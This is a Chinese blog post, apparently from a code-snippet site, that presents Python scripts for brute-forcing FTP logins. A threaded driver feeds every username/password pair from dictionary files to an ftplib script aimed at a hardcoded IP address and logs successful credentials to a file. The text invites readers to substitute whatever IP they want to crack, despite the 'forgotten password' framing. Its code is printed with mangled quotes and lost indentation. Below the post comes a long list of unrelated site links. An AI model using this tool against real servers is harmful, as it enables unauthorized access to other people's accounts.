忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
详解Python的Flask框架中生成SECRET_KEY密钥的方法
Jun 07 Python
Python使用PDFMiner解析PDF代码实例
Mar 27 Python
Python使用分布式锁的代码演示示例
Jul 30 Python
pyqt5实现绘制ui,列表窗口,滚动窗口显示图片的方法
Jun 20 Python
解决python flask中config配置管理的问题
Jul 26 Python
解决python3 requests headers参数不能有中文的问题
Aug 21 Python
对python while循环和双重循环的实例详解
Aug 23 Python
Python图像处理模块ndimage用法实例分析
Sep 05 Python
python 用户交互输入input的4种用法详解
Sep 24 Python
Pytest参数化parametrize使用代码实例
Feb 22 Python
Python3爬虫里关于代理的设置总结
Jul 30 Python
Jupyter Notebook 安装配置与使用详解
Jan 06 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
10个实用的PHP代码片段
2011/09/02 PHP
str_replace只替换一次字符串的方法
2013/04/09 PHP
在windows平台上构建自己的PHP实现方法(仅适用于php5.2)
2013/07/05 PHP
thinkphp集成前端脚手架Vue-cli的教程图解
2018/08/30 PHP
利用javascript实现一些常用软件的下载导航
2009/08/03 Javascript
js创建对象的区别示例介绍
2014/07/24 Javascript
Jquery弹出层插件ThickBox的使用方法
2014/12/09 Javascript
JavaScript实现页面跳转的几种常用方式
2015/11/28 Javascript
bootstrap table配置参数例子
2017/01/05 Javascript
Bootstrap组件之下拉菜单,多级菜单及按钮布局方法实例
2017/05/25 Javascript
手机注册发送验证码倒计时的简单实例
2017/11/15 Javascript
详解webpack+express多页站点开发
2017/12/22 Javascript
LayUI表格批量删除方法
2018/08/15 Javascript
详解Vue内部怎样处理props选项的多种写法
2018/11/06 Javascript
微信小程序 确认框的实现(附代码)
2019/07/23 Javascript
layui异步加载table表中某一列数据的例子
2019/09/16 Javascript
vue与iframe之间的信息交互的实现
2020/04/08 Javascript
[03:06]V社市场总监Dota2项目负责人Erik专访:希望更多中国玩家加入DOTA2
2014/07/11 DOTA
[38:44]DOTA2上海特级锦标赛A组小组赛#2 Secret VS CDEC第二局
2016/02/25 DOTA
[03:07]【DOTA2亚洲邀请赛】我们,梦开始的地方
2017/03/07 DOTA
python dict remove数组删除(del,pop)
2013/03/24 Python
python 查找文件名包含指定字符串的方法
2018/06/05 Python
Python subprocess模块常见用法分析
2018/06/12 Python
Django 用户登陆访问限制实例 @login_required
2020/05/13 Python
Django3中的自定义用户模型实例详解
2020/08/23 Python
Big Green Smile德国网上商店:提供各种天然产品
2018/05/23 全球购物
如何在Shell脚本中使用函数
2015/09/06 面试题
教师评优的个人自我评价分享
2013/09/19 职场文书
特色蛋糕店创业计划书
2014/01/28 职场文书
公司联欢会策划方案
2014/05/19 职场文书
人代会标语
2014/06/30 职场文书
夏季药店促销方案
2014/08/22 职场文书
临时租车协议范本
2014/09/23 职场文书
想创业成功,需要掌握这些要点
2019/12/06 职场文书
python基于opencv批量生成验证码的示例
2021/04/28 Python
MySQL中的全表扫描和索引树扫描
2022/05/15 MySQL